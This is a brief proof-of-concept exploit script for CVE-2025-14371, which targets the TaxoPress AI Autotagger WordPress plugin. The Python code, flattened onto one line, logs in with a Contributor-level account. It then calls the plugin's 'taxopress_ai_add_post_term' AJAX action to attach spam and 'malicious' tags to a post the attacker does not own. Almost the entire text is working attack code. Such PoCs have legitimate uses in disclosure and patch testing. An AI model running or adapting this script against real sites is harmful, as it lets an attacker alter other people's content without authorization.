CVE-2025-14371

import requests import sys # CVE-2025-14371 PoC - WordPress TaxoPress AI Autotagger Unauthorized Term Modification # Target: Tag, Category, and Taxonomy Manager - AI Autotagger with OpenAI plugin <= 3.41.0 target_url = "http://target-wordpress-site.com" # Authentication: Attacker needs Contributor-level account username = "attacker_username" password = "attacker_password" # Target post to modify (any post ID, not owned by attacker) target_post_id = 123 # Create WordPress session session = requests.Session() # Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data) if 'wordpress_logged_in' not in str(session.cookies): print("[-] Login failed") sys.exit(1) print("[+] Login successful") # Exploit: Add unauthorized terms to target post ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'taxopress_ai_add_post_term', 'post_id': target_post_id, 'taxonomy': 'post_tag', # or 'category' 'terms': '["malicious-tag", "spam-keyword"]' } response = session.post(ajax_url, data=exploit_data) if response.status_code == 200: print(f"[+] PoC executed - Terms added to post ID {target_post_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Exploit failed with status code: {response.status_code}")

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